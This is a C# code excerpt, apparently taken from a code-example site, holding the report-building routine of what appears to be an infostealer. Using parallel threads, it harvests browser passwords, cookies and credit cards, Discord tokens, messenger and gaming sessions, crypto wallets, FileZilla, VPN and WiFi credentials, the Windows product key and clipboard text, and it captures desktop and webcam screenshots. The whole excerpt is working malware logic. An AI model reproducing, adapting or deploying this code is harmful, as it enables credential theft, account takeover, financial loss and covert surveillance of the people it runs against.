Beispiel #1
0
        public static bool CreateReport(string sSavePath)
        {
            // List with threads
            List <Thread> Threads = new List <Thread>();

            try
            {
                // Collect files (documents, databases, images, source codes)
                if (Config.GrabberModule == "1")
                {
                    Threads.Add(new Thread(() =>
                                           FileGrabber.Run(sSavePath + "\\Grabber")
                                           ));
                }

                // Chromium & Edge thread (credit cards, passwords, cookies, autofill, history, bookmarks)
                Threads.Add(new Thread(() =>
                {
                    Chromium.Recovery.Run(sSavePath + "\\Browsers");
                    Edge.Recovery.Run(sSavePath + "\\Browsers");
                }));
                // Firefox thread (logins.json, db files, cookies, history, bookmarks)
                Threads.Add(new Thread(() =>
                                       Firefox.Recovery.Run(sSavePath + "\\Browsers")
                                       ));
                // Internet explorer thread (logins)
                Threads.Add(new Thread(() =>
                                       InternetExplorer.Recovery.Run(sSavePath + "\\Browsers")
                                       ));

                // Write discord tokens
                Threads.Add(new Thread(() =>
                                       Discord.WriteDiscord(
                                           Discord.GetTokens(),
                                           sSavePath + "\\Messenger\\Discord")
                                       ));

                // Write pidgin accounts
                Threads.Add(new Thread(() =>
                                       Pidgin.Get(sSavePath + "\\Messenger\\Pidgin")
                                       ));

                // Write outlook accounts
                Threads.Add(new Thread(() =>
                                       Outlook.GrabOutlook(sSavePath + "\\Messenger\\Outlook")
                                       ));

                // Write telegram session
                Threads.Add(new Thread(() =>
                                       Telegram.GetTelegramSessions(sSavePath + "\\Messenger\\Telegram")
                                       ));

                // Write skype session
                Threads.Add(new Thread(() =>
                                       Skype.GetSession(sSavePath + "\\Messenger\\Skype")
                                       ));

                // Steam & Uplay sessions collection
                Threads.Add(new Thread(() =>
                {
                    // Write steam session
                    Steam.GetSteamSession(sSavePath + "\\Gaming\\Steam");
                    // Write uplay session
                    Uplay.GetUplaySession(sSavePath + "\\Gaming\\Uplay");
                    // Write battle net session
                    BattleNET.GetBattleNETSession(sSavePath + "\\Gaming\\BattleNET");
                }));

                // Minecraft collection
                Threads.Add(new Thread(() =>
                                       Minecraft.SaveAll(sSavePath + "\\Gaming\\Minecraft")
                                       ));

                // Write wallets
                Threads.Add(new Thread(() =>
                                       Wallets.GetWallets(sSavePath + "\\Wallets")
                                       ));

                // Write FileZilla
                Threads.Add(new Thread(() =>
                                       FileZilla.WritePasswords(sSavePath + "\\FileZilla")
                                       ));

                // Write VPNs
                Threads.Add(new Thread(() =>
                {
                    ProtonVPN.Save(sSavePath + "\\VPN\\ProtonVPN");
                    OpenVPN.Save(sSavePath + "\\VPN\\OpenVPN");
                    NordVPN.Save(sSavePath + "\\VPN\\NordVPN");
                }));

                // Get directories list
                Threads.Add(new Thread(() =>
                {
                    Directory.CreateDirectory(sSavePath + "\\Directories");
                    DirectoryTree.SaveDirectories(sSavePath + "\\Directories");
                }));

                // Create directory to save system information
                Directory.CreateDirectory(sSavePath + "\\System");

                // Process list & active windows list
                Threads.Add(new Thread(() =>
                {
                    // Write process list
                    ProcessList.WriteProcesses(sSavePath + "\\System");
                    // Write active windows titles
                    ActiveWindows.WriteWindows(sSavePath + "\\System");
                }));

                // Desktop & Webcam screenshot
                Thread dwThread = new Thread(() =>
                {
                    // Create dekstop screenshot
                    DesktopScreenshot.Make(sSavePath + "\\System");
                    // Create webcam screenshot
                    WebcamScreenshot.Make(sSavePath + "\\System");
                });
                dwThread.SetApartmentState(ApartmentState.STA);
                Threads.Add(dwThread);

                // Saved wifi passwords
                Threads.Add(new Thread(() =>
                {
                    // Fetch saved WiFi passwords
                    Wifi.SavedNetworks(sSavePath + "\\System");
                    // Fetch all WiFi networks with BSSID
                    Wifi.ScanningNetworks(sSavePath + "\\System");
                }
                                       ));;
                // Windows product key
                Threads.Add(new Thread(() =>
                                       // Write product key
                                       File.WriteAllText(sSavePath + "\\System\\ProductKey.txt",
                                                         ProductKey.GetWindowsProductKeyFromRegistry())
                                       ));
                // Debug logs
                Threads.Add(new Thread(() =>
                                       Logging.Save(sSavePath + "\\System\\Debug.txt")
                                       ));
                // System info
                Threads.Add(new Thread(() =>
                                       SysInfo.Save(sSavePath + "\\System\\Info.txt")
                                       ));
                // Clipboard text
                Threads.Add(new Thread(() =>
                                       File.WriteAllText(sSavePath + "\\System\\Clipboard.txt",
                                                         Clipper.Clipboard.GetText())
                                       ));
                // Get installed apps
                Threads.Add(new Thread(() =>
                                       InstalledApps.WriteAppsList(sSavePath + "\\System")
                                       ));

                // Start all threads
                foreach (Thread t in Threads)
                {
                    t.Start();
                }

                // Wait all threads
                foreach (Thread t in Threads)
                {
                    t.Join();
                }

                return(Logging.Log("Report created", true));
            }
            catch (Exception ex) {
                return(Logging.Log("Failed to create report, error:\n" + ex, false));
            }
        }